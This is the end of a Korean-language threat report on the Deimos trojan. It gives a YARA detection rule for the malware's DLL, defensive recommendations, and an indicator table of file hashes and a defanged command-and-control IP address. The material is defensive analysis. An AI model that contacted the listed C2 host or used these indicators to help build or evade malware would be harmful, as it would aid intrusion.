        description = "Detects the presence of the Deimos trojan DLL file."
        reference = ""
        reference_sample = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"

    strings:
        $a1 = "\\APPDATA\\ROAMING" wide fullword
        $a2 = "{\"action\":\"ping\",\"" wide fullword
        $a3 = "Deimos" ascii fullword
        $b1 = { 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 }
        $b2 = { 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D }
    condition:
        all of ($a*) or 1 of ($b*)
}

그림 24: Deimos DLL YARA 규칙

여기에서 이 YARA 규칙에 액세스할 수 있습니다.

방어 권장 사항

다음 단계를 활용하여 네트워크의 보호 상태를 개선할 수 있습니다.


  1. Sysmon과 Elastic Endpoint 또는 Winlogbeat와 같은 기술을 사용하여 환경 내에서 위의 탐지 로직을 검토하고 구현하세요.
  2. 최신 Microsoft 보안 업데이트를 검토하고 배포했는지 확인하세요.
  3. 중요한 시스템의 백업을 유지관리하여 빠른 복구를 지원하세요.

참고 자료

문서 전체에서 다음과 같은 연구를 참조하였습니다.


지표

지표유형참고
f268491d2f7e9ab562a239ec56c4b38d669a7bd88181efb0bd89e450c68dd421SHA256 해시Lure 파일
af1e952b5b02ca06497e2050bd1ce8d17b9793fdb791473bdae5d994056cb21fSHA256 해시Malware 설치 프로그램
d6e1c6a30356009c62bc2aa24f49674a7f492e5a34403344bfdd248656e20a54SHA256 해시.NET DLL 파일
216[.]230[.]232[.]134IP 주소명령 및 제어
  • 채용 공고

    여러분과 같은 사람을 찾는 글로벌 분산형 팀에서 일하세요. Zoom 미팅만 하면 가능합니다. 유연하고 임팩트가 있는 작업을 원하세요? 처음부터 개발 기회를 갖고 싶으신가요?